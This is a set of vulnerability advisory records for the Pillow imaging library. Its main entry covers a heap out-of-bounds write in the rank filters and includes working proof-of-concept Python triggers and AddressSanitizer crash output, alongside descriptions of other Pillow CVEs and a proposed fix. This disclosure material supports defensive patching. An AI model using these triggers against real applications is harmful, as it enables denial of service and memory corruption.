{
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      "value": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow\u0027s public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0."
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  "id": "CVE-2026-59197",
  "lastModified": "2026-07-21T19:17:11.907",
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          "confidentialityImpact": "NONE",
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          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
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          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
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          "role": "CISA Coordinator",
          "timestamp": "2026-07-21T18:50:30.849980Z",
          "version": "2.0.3"
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  "published": "2026-07-14T17:17:14.487",
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      "tags": [
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
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            {
              "fixed": "12.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
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    }
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  "aliases": [
    "CVE-2026-59197"
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  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T23:08:58Z",
    "nvd_published_at": "2026-07-14T17:17:14Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nPillow\u0027s public rank-filter API can trigger a native heap out-of-bounds write\nwhen given a very large odd filter size.\n\nMinimal public API trigger:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\n`ImageFilter.RankFilter.filter()` calls `image.expand(size // 2, size // 2)`\nbefore rank-filter size validation. With `size = 4294967295`, the\nexpansion margin is `2147483647` (`INT_MAX`). `ImagingExpand()` then computes\nthe output dimensions with unchecked signed `int` arithmetic. On tested builds,\nthis wraps to a tiny output image and the border-expansion loop writes past the\nallocation.\n\nThis is reachable through documented public classes (`RankFilter`,\n`MedianFilter`, `MinFilter`, and `MaxFilter`). No private API, ctypes, or custom\nPython object is needed.\n\n### Details\n\nCurrent `src/PIL/ImageFilter.py`:\n\n```python\nclass RankFilter(Filter):\n    def filter(self, image):\n        if image.mode == \"P\":\n            msg = \"cannot filter palette images\"\n            raise ValueError(msg)\n        image = image.expand(self.size // 2, self.size // 2)\n        return image.rankfilter(self.size, self.rank)\n```\n\nThe `expand()` call is made before `image.rankfilter(...)`.\n\nCurrent `src/libImaging/Filter.c:ImagingExpand()` does not check output-size\noverflow:\n\n```c\nif (xmargin \u003c 0 \u0026\u0026 ymargin \u003c 0) {\n    return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n\nimOut = ImagingNewDirty(\n    imIn-\u003emode, imIn-\u003exsize + 2 * xmargin, imIn-\u003eysize + 2 * ymargin\n);\n```\n\nFor a `3x3` image and `xmargin = ymargin = INT_MAX`, the computed output size\nwraps to `1x1` on tested builds. The following loop still uses the huge margin:\n\n```c\nfor (x = 0; x \u003c xmargin; x++) {\n    imOut-\u003eimage[yout][x] = imIn-\u003eimage[yin][0];\n}\n```\n\n`src/libImaging/RankFilter.c` does contain checks that would reject this size:\n\n```c\nif (!(size \u0026 1)) {\n    return (Imaging)ImagingError_ValueError(\"bad filter size\");\n}\nif (size \u003e INT_MAX / size || size \u003e INT_MAX / (size * (int)sizeof(FLOAT32))) {\n    return (Imaging)ImagingError_ValueError(\"filter size too large\");\n}\n```\n\nBut  those checks are reached only after `RankFilter.filter()` has already\ncalled `image.expand(...)`.\n\nMode `\"L\"` produces 1-byte OOB stores. Modes `\"I\"` and `\"F\"` produce 4-byte OOB\nstores. The repeated value written OOB is copied from the source image border\npixel, so attacker-supplied image bytes can influence it. This is a sequential\noverwrite, not an arbitrary-address write.\n\n### PoC\n\nMinimal ASAN crash PoC:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\nObserved on local Pillow `12.3.0.dev0` ASAN target:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 1\nImagingExpand /out/src/src/libImaging/Filter.c:99\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 1-byte allocation\n```\n\n4-byte write variant with source pixel loaded from normal image bytes:\n\n```python\nfrom io import BytesIO\nfrom PIL import Image, ImageFilter\n\nSIZE = 4294967295\nPIXEL = 0x41424344\n\nsrc = BytesIO()\nImage.new(\"I\", (3, 3), PIXEL).save(src, format=\"TIFF\")\n\nim = Image.open(BytesIO(src.getvalue()))\nim.load()\nassert im.mode == \"I\"\nassert im.getpixel((0, 0)) == PIXEL\n\nim.filter(ImageFilter.MedianFilter(SIZE))\n```\n\nObserved ASAN signature:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 4\nImagingExpand /out/src/src/libImaging/Filter.c:101\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 4-byte allocation\n```\n\nVersion checks:\n\n```text\nPillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public\n                           validation order and unchecked ImagingExpand arithmetic\nupstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected\n```\n\n### Impact\n\nIt is a heap out-of-bounds write in Pillow\u0027s native C extension, reachable\nthrough public image-filter classes.\n\nApplications are impacted if an untrusted user can control the rank-filter\nsize/configuration passed to Pillow. If the image is also attacker-supplied, the\nsource pixel value written out of bounds can be attacker-influenced, including\n4-byte values for mode `\"I\"` images.\n\n\n## Possible fix\n\nValidate the rank-filter size before calling `image.expand(...)`, and harden\n`ImagingExpand()` against invalid margins and overflow:\n\n```c\nif (xmargin \u003c 0 || ymargin \u003c 0) {\n    return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\nif (xmargin \u003e (INT_MAX - imIn-\u003exsize) / 2 ||\n    ymargin \u003e (INT_MAX - imIn-\u003eysize) / 2) {\n    return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n```",
  "id": "GHSA-xj96-63gp-2gmr",
  "modified": "2026-07-20T23:08:58Z",
  "published": "2026-07-20T23:08:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr"
    },
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      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59197"
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      "url": "https://github.com/python-pillow/Pillow/pull/9695"
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  "schema_version": "1.4.0",
  "severity": [
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      "type": "CVSS_V3"
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  ],
  "summary": "Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`"
}

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  "id": "PYSEC-2026-3454",
  "modified": "2026-07-22T09:57:10.158882Z",
  "published": "2026-07-14T17:17:14.487Z",
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      "type": "CVSS_V3"
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          "details": "moderate"
        }
      ],
      "title": "CVE-2026-59200"
    },
    {
      "cve": "CVE-2026-59204",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-59204"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Pillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.",
          "title": "CVE description"
        }
      ],
      "product_status": {
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      },
      "references": [
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          "category": "external",
          "summary": "CVE-2026-59204",
          "url": "https://www.suse.com/security/cve/CVE-2026-59204"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1271424 for CVE-2026-59204",
          "url": "https://bugzilla.suse.com/1271424"
        }
      ],
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          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
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          "text": "https://www.suse.com/security/cve/CVE-2026-59205"
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        {
          "category": "general",
          "text": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow\u0027s ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform\u0027s declared output mode. This issue is fixed in version 12.3.0.",
          "title": "CVE description"
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  ]
}